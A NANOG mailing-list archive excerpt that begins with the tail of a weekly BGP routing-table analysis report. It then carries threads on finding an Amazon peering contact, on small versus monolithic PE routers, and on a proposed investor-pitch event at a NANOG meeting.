222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225579 Total ARIN prefixes after maximum aggregation: 105582 ARIN Deaggregation factor: 2.14 Prefixes being announced from the ARIN address blocks: 224872 Unique aggregates announced from the ARIN address blocks: 106713 ARIN Region origin ASes present in the Internet Routing Table: 18512 ARIN Prefixes per ASN: 12.15 ARIN Region origin ASes announcing only one prefix: 6868 ARIN Region transit ASes present in the Internet Routing Table: 1905 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 42 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2778 Number of ARIN addresses announced to Internet: 1067893632 Equivalent to 63 /8s, 166 /16s and 195 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 209585 Total RIPE prefixes after maximum aggregation: 99235 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 205557 Unique aggregates announced from the RIPE address blocks: 122324 RIPE Region origin ASes present in the Internet Routing Table: 26163 RIPE Prefixes per ASN: 7.86 RIPE Region origin ASes announcing only one prefix: 11570 RIPE Region transit ASes present in the Internet Routing Table: 3717 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8208 Number of RIPE addresses announced to Internet: 720094848 Equivalent to 42 /8s, 235 /16s and 198 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97355 Total LACNIC prefixes after maximum aggregation: 22240 LACNIC Deaggregation factor: 4.38 Prefixes being announced from the LACNIC address blocks: 98700 Unique aggregates announced from the LACNIC address blocks: 42870 LACNIC Region origin ASes present in the Internet Routing Table: 8557 LACNIC Prefixes per ASN: 11.53 LACNIC Region origin ASes announcing only one prefix: 2300 LACNIC Region transit ASes present in the Internet Routing Table: 1565 Average LACNIC Region AS path length visible: 5.1 Max LACNIC Region AS path length visible: 39 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 6106 Number of LACNIC addresses announced to Internet: 174090752 Equivalent to 10 /8s, 96 /16s and 106 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21394 Total AfriNIC prefixes after maximum aggregation: 4339 AfriNIC Deaggregation factor: 4.93 Prefixes being announced from the AfriNIC address blocks: 28907 Unique aggregates announced from the AfriNIC address blocks: 9232 AfriNIC Region origin ASes present in the Internet Routing Table: 1292 AfriNIC Prefixes per ASN: 22.37 AfriNIC Region origin ASes announcing only one prefix: 454 AfriNIC Region transit ASes present in the Internet Routing Table: 255 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 24 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 572 Number of AfriNIC addresses announced to Internet: 105860096 Equivalent to 6 /8s, 79 /16s and 76 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4789 559 544 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3216 1467 29 VIETEL-AS-AP Viettel Group, VN 45899 3044 1761 112 VNPT-AS-VN VNPT Corp, VN 9808 2800 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2693 1489 562 BSNL-NIB National Internet Backbone, IN 4766 2527 11119 760 KIXS-AS-KR Korea Telecom, KR 4755 2142 428 183 TATACOMM-AS TATA Communications formerl 9394 2095 4882 26 CTTNET China TieTong Telecommunications 9498 2078 427 171 BBIL-AP BHARTI Airtel Ltd., IN 7713 2056 608 611 TELKOMNET-AS-AP PT Telekomunikasi Indon Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3678 240 618 CABLEONE - CABLE ONE, INC., US 6327 3567 1324 89 SHAW - Shaw Communications Inc., CA 22773 3425 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2964 6374 1344 AMAZON-02 - Amazon.com, Inc., US 16625 2605 1370 1880 AKAMAI-AS - Akamai Technologies, Inc., 30036 2153 346 257 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2150 2760 525 CHARTER-20115 - Charter Communications, 18566 2098 405 107 MEGAPATH5-US - MegaPath Corporation, US 5650 2082 3074 1459 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5431 1629 141 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3173 379 46 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2701 514 1933 AKAMAI-ASN1, US 12389 2253 2226 637 ROSTELECOM-AS, RU 34984 2095 344 546 TELLCOM-AS, TR 9121 1646 1692 18 TTNET, TR 13188 1604 100 47 TRIOLAN, UA 9009 1573 170 859 M247, GB 61317 1566 152 468 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 6177 3369 572 Uninet S.A. de C.V., MX 10620 3410 534 435 Telmex Colombia S.A., CO 11830 2697 370 54 Instituto Costarricense de Electricidad 7303 1475 1022 275 Telecom Argentina S.A., AR 6503 1223 441 54 Axtel, S.A.B. de C.V., MX 28573 1154 2243 205 CLARO S.A., BR 6147 1095 377 31 Telefonica del Peru S.A.A., PE 3816 1039 524 114 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 977 516 242 Mega Cable, S.A. de C.V., MX 11172 937 112 61 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1169 393 22 LINKdotNET-AS, EG 37611 969 107 9 Afrihost, ZA 24835 881 628 22 RAYA-AS, EG 36992 862 1535 71 ETISALAT-MISR, EG 36903 831 418 129 MT-MPLS, MA 8452 676 1859 20 TE-AS TE-AS, EG 29571 517 68 11 ORANGE-COTE-IVOIRE, CI 37492 489 470 57 ORANGE-, TN 15399 434 45 11 WANANCHI-, KE 37342 414 32 1 MOVITEL, MZ Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 6177 3369 572 Uninet S.A. de C.V., MX 12479 5431 1629 141 UNI2-AS, ES 7545 4789 559 544 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3678 240 618 CABLEONE - CABLE ONE, INC., US 6327 3567 1324 89 SHAW - Shaw Communications Inc., CA 22773 3425 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 10620 3410 534 435 Telmex Colombia S.A., CO 7552 3216 1467 29 VIETEL-AS-AP Viettel Group, VN Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5431 5290 UNI2-AS, ES 7545 4789 4245 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3567 3478 SHAW - Shaw Communications Inc., CA 22773 3425 3269 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7552 3216 3187 VIETEL-AS-AP Viettel Group, VN 8551 3173 3127 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11492 3678 3060 CABLEONE - CABLE ONE, INC., US 10620 3410 2975 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 64500 DOCUMENT 45.43.56.0/24 45474 NEXUSGUARD-AS-AP Suite 2101~02 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ 41.242.92.0/24 37643 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:10 /9:11 /10:37 /11:100 /12:294 /13:569 /14:1131 /15:1910 /16:13267 /17:7992 /18:13952 /19:25820 /20:40299 /21:47489 /22:94935 /23:76862 /24:434065 /25:880 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4384 5431 UNI2-AS, ES 6327 3357 3567 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2882 3678 CABLEONE - CABLE ONE, INC., US 22773 2659 3425 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 2626 3173 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11830 2045 2697 Instituto Costarricense de Electricidad y Telec 18566 1993 2098 MEGAPATH5-US - MegaPath Corporation, US 30036 1904 2153 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1692 2:1073 3:6 4:21 5:3179 6:45 7:1 8:1342 9:1 11:1 12:1805 13:361 14:2045 15:38 16:6 17:257 18:77 20:55 23:2796 24:2562 25:4 27:2456 31:2017 32:100 35:37 36:879 37:3060 38:1765 39:287 40:121 41:3220 42:823 43:2068 44:152 45:8492 46:3328 47:260 49:1354 50:1114 51:330 52:1009 54:279 55:632 56:6 57:47 58:1765 59:1070 60:529 61:2196 62:1956 63:1857 64:4997 65:2209 66:4847 67:2772 68:1172 69:3547 70:1377 71:654 72:2624 74:2726 75:1294 76:560 77:1799 78:1845 79:2292 80:1816 81:1492 82:1136 83:935 84:1131 85:2295 86:558 87:1543 88:1049 89:2553 90:214 91:6586 92:1434 93:2484 94:2475 95:3312 96:948 97:340 98:959 99:789 100:87 101:1192 102:631 103:21555 104:3621 105:268 106:782 107:1755 108:695 109:3683 110:1724 111:2045 112:1536 113:1382 114:1210 115:1737 116:1769 117:1925 118:2168 119:1650 120:1057 121:1037 122:2245 123:1786 124:1498 125:2018 128:1383 129:840 130:543 131:1819 132:819 133:221 134:1099 135:247 136:596 137:780 138:2079 139:896 140:600 141:895 142:794 143:1068 144:892 145:277 146:1295 147:829 148:1692 149:1098 150:785 151:1019 152:1092 153:337 154:4187 155:915 156:1629 157:1023 158:662 159:1945 160:1601 161:932 162:2969 163:833 164:1249 165:1492 166:478 167:1410 168:3393 169:899 170:4192 171:607 172:1653 173:2223 174:1044 175:976 176:2366 177:4083 178:2563 179:1385 180:2176 181:2380 182:2728 183:1097 184:2276 185:15303 186:3643 187:2488 188:2959 189:2018 190:8210 191:1463 192:10056 193:6731 194:5487 195:4143 196:2974 197:1621 198:5941 199:5981 200:7110 201:5148 202:10413 203:10200 204:4557 205:3065 206:3241 207:3244 208:3936 209:4273 210:3936 211:2048 212:3121 213:2959 214:1126 215:54 216:5887 217:2239 218:892 219:602 220:1879 221:976 222:980 223:1404 End of report From kvicknair at reservetele.com Fri Jun 28 19:03:04 2019 From: kvicknair at reservetele.com (Kody Vicknair) Date: Fri, 28 Jun 2019 19:03:04 +0000 Subject: AS16509 (Amazon) peering contact In-Reply-To: <905d4b9b-3de2-225b-2e2a-e317913db814@lists.esoteric.ca> References: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> <905d4b9b-3de2-225b-2e2a-e317913db814@lists.esoteric.ca> Message-ID: <3979AE529B56AB47942E2423B707F16E031662E31C@RTC-EXCH01.RESERVE.LDS> No private information was shared. See for yourself: https://www.peeringdb.com/net/1418 -----Original Message----- From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Stephen Fulton Sent: Thursday, June 27, 2019 5:22 PM To: nanog at nanog.org Subject: Re: AS16509 (Amazon) peering contact Hi Kody, Please don't share a person's e-mail account on a mailing list.  Role accounts are one thing, but not this.  If you want to, send it privately.  Cheers, Stephen On 2019-06-27 17:47, Kody Vicknair wrote: > I've always worked with Tim Bates. They were exceptionally quick with standing up my session. like same day quick... > > xxx at amazon.com > > > > > > Kody Vicknair > Network Engineer > > Tel: 985.536.1214 > Fax: 985.536.0300 > Email: kvicknair at reservetele.com > > Reserve Telecommunications > 100 RTC Dr > Reserve, LA 70084 > > ______________________________________________________________________ > ___________________________ > > Disclaimer: > The information transmitted, including attachments, is intended only for the person(s) or entity to which it is addressed and may contain confidential and/or privileged material which should not disseminate, distribute or be copied. Please notify Kody Vicknair immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. Kody Vicknair therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. . > > -----Original Message----- > From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Hansen, > Christoffer > Sent: Thursday, June 27, 2019 2:45 PM > To: nanog at nanog.org > Subject: Re: AS16509 (Amazon) peering contact > > > On 27/06/2019 20:55, Andras Toth wrote: >> Including at least an ASN in the peering request usually helps to >> expedite the process :) > & keeping your peeringdb entry up-to-date is usually helpful, too. > Depending on who you want to peer with(!) > > Some networks require you to have up-to-date peeringdb information for your network. Including which facilities and/or internet exchanges you are either connected to and/or present on/in. > This will often be the case if $peering_partner have either partial or fully automated peering configuration management. > > /Christoffer From sf at lists.esoteric.ca Fri Jun 28 19:49:31 2019 From: sf at lists.esoteric.ca (Stephen Fultpn) Date: Fri, 28 Jun 2019 15:49:31 -0400 Subject: AS16509 (Amazon) peering contact In-Reply-To: <3979AE529B56AB47942E2423B707F16E031662E31C@RTC-EXCH01.RESERVE.LDS> References: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> <905d4b9b-3de2-225b-2e2a-e317913db814@lists.esoteric.ca> <3979AE529B56AB47942E2423B707F16E031662E31C@RTC-EXCH01.RESERVE.LDS> Message-ID: <16b9fa2bcf8.2795.038dce16df14eca8f41a9e2b389fd782@lists.esoteric.ca> Hi Kody, Contact information on PeeringDB is not normally accessible without an account and that information is not indexed by search engines, unlike this and other mailing lists. My point remains if you want to share a non-role contact, especially for someone at an organization as large as Amazon, due so privately. Otherwise such contacts might become so bogged down by the increased amount of email from world plus dog, they no longer are able to be as helpful or prompt. Alternatively, you could ask the person whose contact you wish to share publicly for consent first. If you did, my apologies. On June 28, 2019 15:03:13 Kody Vicknair wrote: > No private information was shared. > > See for yourself: > https://www.peeringdb.com/net/1418 > > > -----Original Message----- > From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Stephen Fulton > Sent: Thursday, June 27, 2019 5:22 PM > To: nanog at nanog.org > Subject: Re: AS16509 (Amazon) peering contact > > Hi Kody, > > Please don't share a person's e-mail account on a mailing list. Role > accounts are one thing, but not this. If you want to, send it privately. > > Cheers, > > Stephen > > On 2019-06-27 17:47, Kody Vicknair wrote: >> I've always worked with Tim Bates. They were exceptionally quick with >> standing up my session. like same day quick... >> >> xxx at amazon.com >> >> >> >> >> >> Kody Vicknair >> Network Engineer >> >> Tel: 985.536.1214 >> Fax: 985.536.0300 >> Email: kvicknair at reservetele.com >> >> Reserve Telecommunications >> 100 RTC Dr >> Reserve, LA 70084 >> >> ______________________________________________________________________ >> ___________________________ >> >> Disclaimer: >> The information transmitted, including attachments, is intended only for >> the person(s) or entity to which it is addressed and may contain >> confidential and/or privileged material which should not disseminate, >> distribute or be copied. Please notify Kody Vicknair immediately by e-mail >> if you have received this e-mail by mistake and delete this e-mail from >> your system. E-mail transmission cannot be guaranteed to be secure or >> error-free as information could be intercepted, corrupted, lost, destroyed, >> arrive late or incomplete, or contain viruses. Kody Vicknair therefore does >> not accept liability for any errors or omissions in the contents of this >> message, which arise as a result of e-mail transmission. . >> >> -----Original Message----- >> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Hansen, >> Christoffer >> Sent: Thursday, June 27, 2019 2:45 PM >> To: nanog at nanog.org >> Subject: Re: AS16509 (Amazon) peering contact >> >> >> On 27/06/2019 20:55, Andras Toth wrote: >>> Including at least an ASN in the peering request usually helps to >>> expedite the process :) >> & keeping your peeringdb entry up-to-date is usually helpful, too. >> Depending on who you want to peer with(!) >> >> Some networks require you to have up-to-date peeringdb information for your >> network. Including which facilities and/or internet exchanges you are >> either connected to and/or present on/in. >> This will often be the case if $peering_partner have either partial or >> fully automated peering configuration management. >> >> /Christoffer From mark.tinka at seacom.mu Sat Jun 29 09:15:46 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Sat, 29 Jun 2019 11:15:46 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <01d101d52d8c$7a9f9dd0$6fded970$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> <01d101d52d8c$7a9f9dd0$6fded970$@netconsultings.com> Message-ID: <25116547-71b4-3af7-9c46-ee782b175e99@seacom.mu> On 28/Jun/19 10:35, adamv0025 at netconsultings.com wrote: > If the PEs are sufficiently small I'd even go further as to L3VPNs-PE vs L2VPNs-PE services etc..., it's mostly because of streamlined/simplified hw and code certification testing. > But as with all the decentralize-centralize swings one has to strike the balance just right and weight the aggregation pros against too many eggs in one basket cons. On the VPN side, we sell more l2vpn then l3vpn. In fact, I don't believe we've actually sold an l3vpn service, apart from the one we built to deliver voice services. l3vpn is a dying service in Africa. With everything in the cloud now, everybody just wants a simple IP service. Mark. From mehmet at akcin.net Sat Jun 29 15:09:52 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 29 Jun 2019 08:09:52 -0700 Subject: Ideas to products (Shark Tank(-ish) @ Austin) Message-ID: Hey there, I am trying to put together an event at NANOG Austin (will submit pc when CFP is open). So many of us had very interesting ideas over the years. Some of these ideas became products or companies making life easy for engineers and operators. Could there be other ideas waiting to be supported? Perhaps. I am sure you all watched shark tank! In simplest words i am trying to organize an event very similar to Shark Tank!( we will call it some other name tho) There will be some known investors on the stage and you will 5 mins for your pitch and 10 mins to answer questions, and hopefully make a deal. I will help those who want to pitch their idea with their p&l , presentation and other things as they needed. Please contact me if you have any questions offlist and want to pitch your idea. We need a single paragraph to get you started. Mehmet -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Sat Jun 29 16:35:13 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 29 Jun 2019 09:35:13 -0700 Subject: Ideas to products (Shark Tank(-ish) @ Austin) In-Reply-To: References: Message-ID: Great point ;-) thanks Tom On Sat, Jun 29, 2019 at 09:29 Tom Daly wrote: > Mehmet, > > Good idea, the opportunity for innovation and supporting ideas of others > in our operator groups is important, but NANOG is probably the wrong venue. > > Have you considered NANOG's 501c3 not-for-profit status in your analysis > of bringing this idea to the community? As a presenter, how would one > protect his/her intellectual property being shown to the proposed "sharks" > and/or the audience? (would an audience be permitted in the room?) > > I can't speak for the NANOG Board nor the Program Committee, but as an > interested party in NANOG's 501(c)3 not-for-profit status, I am pretty > certain this activity would jeopardize our recognized exemption with the > IRS. I think this is an important detail you explore before proceeding. > > HTH, > Tom > > On Sat, Jun 29, 2019 at 11:11 AM Mehmet Akcin wrote: > >> Hey there, >> >> I am trying to put together an event at NANOG Austin (will submit pc when >> CFP is open). So many of us had very interesting ideas over the years. Some >> of these ideas became products or companies making life easy for engineers >> and operators. Could there be other ideas waiting to be supported? Perhaps. >> I am sure you all watched shark tank! In simplest words i am trying to >> organize an event very similar to Shark Tank!( we will call it some other >> name tho) >> >> There will be some known investors on the stage and you will 5 mins for >> your pitch and 10 mins to answer questions, and hopefully make a deal. >> >> I will help those who want to pitch their idea with their p&l , >> presentation and other things as they needed. >> >> Please contact me if you have any questions offlist and want to pitch >> your idea. We need a single paragraph to get you started. >> >> Mehmet >> -- >> Mehmet >> +1-424-298-1903 >> > > > -- > Tom Daly - SVP, Infrastructure > tjd at fastly.com > -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt at netfire.net Sat Jun 29 20:06:58 2019 From: matt at netfire.net (Matt Harris) Date: Sat, 29 Jun 2019 15:06:58 -0500 Subject: Ideas to products (Shark Tank(-ish) @ Austin) In-Reply-To: References: Message-ID: On Sat, Jun 29, 2019 at 11:35 AM Mehmet Akcin wrote: > Great point ;-) thanks Tom > > On Sat, Jun 29, 2019 at 09:29 Tom Daly wrote: > >> Mehmet, >> >> Good idea, the opportunity for innovation and supporting ideas of others >> in our operator groups is important, but NANOG is probably the wrong venue. >> >> Have you considered NANOG's 501c3 not-for-profit status in your analysis >> of bringing this idea to the community? As a presenter, how would one >> protect his/her intellectual property being shown to the proposed "sharks" >> and/or the audience? (would an audience be permitted in the room?) >> >> I can't speak for the NANOG Board nor the Program Committee, but as an >> interested party in NANOG's 501(c)3 not-for-profit status, I am pretty >> certain this activity would jeopardize our recognized exemption with the >> IRS. I think this is an important detail you explore before proceeding. >> > As someone who had dealt with non-profit management many times and served on several non-profit entity boards of varying sorts, I don't see any issue here at all with simply hosting such an event. As long as NANOG handles the procedes from the event properly, there should be no issue. In fact, there are 501(c)3 organizations which exist with a primary goal very similar to this: connecting investors with potential investments. Check out Code2040, the Techstars Foundation, and Change Catalyst, among others. I'd like to hear why you feel this sort of event may cause an issue or jeopardize NANOG's tax status. Can you be a bit more clear about why you are concerned about this? Perhaps there's something I'm overlooking. As far as intellectual property goes, it would of course be up to the presenter how much they would want to share publicly. Not all intellectual property is a "trade secret", plenty is covered by copyrights and patents and can generally be shared with an audience without granting said audience unlimited rights to that intellectual property. For example, just because you attend a concert with a particularly performer does not mean you then have rights to illegally download that performer's mp3s. Of course anyone who does treat their work product as a trade secret would not share such work product with any audience. If a presenter did wish to share additional information with the "shark"/investor participants above and beyond what is shown to the general audience, they could establish non-disclosure agreements with the interested parties. NDA's between potential investors and recipients of investments are extremely common. This would of course be between the presenter and their attorney to determine the appropriate course of action and to draw up any relevant documents. Any time anyone is considering accepting an investment in their work product, I would very highly recommend that they engage an attorney whom they trust in order to vet any agreements and ensure that they fully understand all ramifications thereof. Good luck folks! -------------- next part -------------- An HTML attachment was scrubbed... URL: From jmcmasters at atlanticbb.net Fri Jun 28 20:33:53 2019 From: jmcmasters at atlanticbb.net (Jeremy McMasters) Date: Fri, 28 Jun 2019 16:33:53 -0400 Subject: AS16509 (Amazon) peering contact In-Reply-To: <16b9fa2bcf8.2795.038dce16df14eca8f41a9e2b389fd782@lists.esoteric.ca> References: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> <905d4b9b-3de2-225b-2e2a-e317913db814@lists.esoteric.ca> <3979AE529B56AB47942E2423B707F16E031662E31C@RTC-EXCH01.RESERVE.LDS> <16b9fa2bcf8.2795.038dce16df14eca8f41a9e2b389fd782@lists.esoteric.ca> Message-ID: <000801d52df0$cd52bc10$67f83430$@atlanticbb.net> Good luck we are the 9th largest MSO and still have not gotten a response back from Amazon. -----Original Message----- From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Stephen Fultpn Sent: Friday, June 28, 2019 3:50 PM To: Kody Vicknair ; nanog at nanog.org Subject: RE: AS16509 (Amazon) peering contact Hi Kody, Contact information on PeeringDB is not normally accessible without an account and that information is not indexed by search engines, unlike this and other mailing lists. My point remains if you want to share a non-role contact, especially for someone at an organization as large as Amazon, due so privately. Otherwise such contacts might become so bogged down by the increased amount of email from world plus dog, they no longer are able to be as helpful or prompt. Alternatively, you could ask the person whose contact you wish to share publicly for consent first. If you did, my apologies. On June 28, 2019 15:03:13 Kody Vicknair wrote: > No private information was shared. > > See for yourself: > https://www.peeringdb.com/net/1418 > > > -----Original Message----- > From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Stephen > Fulton > Sent: Thursday, June 27, 2019 5:22 PM > To: nanog at nanog.org > Subject: Re: AS16509 (Amazon) peering contact > > Hi Kody, > > Please don't share a person's e-mail account on a mailing list. Role > accounts are one thing, but not this. If you want to, send it > privately. > > Cheers, > > Stephen > > On 2019-06-27 17:47, Kody Vicknair wrote: >> I've always worked with Tim Bates. They were exceptionally quick with >> standing up my session. like same day quick... >> >> xxx at amazon.com >> >> >> >> >> >> Kody Vicknair >> Network Engineer >> >> Tel: 985.536.1214 >> Fax: 985.536.0300 >> Email: kvicknair at reservetele.com >> >> Reserve Telecommunications >> 100 RTC Dr >> Reserve, LA 70084 >> >> _____________________________________________________________________ >> _ >> ___________________________ >> >> Disclaimer: >> The information transmitted, including attachments, is intended only >> for the person(s) or entity to which it is addressed and may contain >> confidential and/or privileged material which should not disseminate, >> distribute or be copied. Please notify Kody Vicknair immediately by >> e-mail if you have received this e-mail by mistake and delete this >> e-mail from your system. E-mail transmission cannot be guaranteed to >> be secure or error-free as information could be intercepted, >> corrupted, lost, destroyed, arrive late or incomplete, or contain >> viruses. Kody Vicknair therefore does not accept liability for any >> errors or omissions in the contents of this message, which arise as a result of e-mail 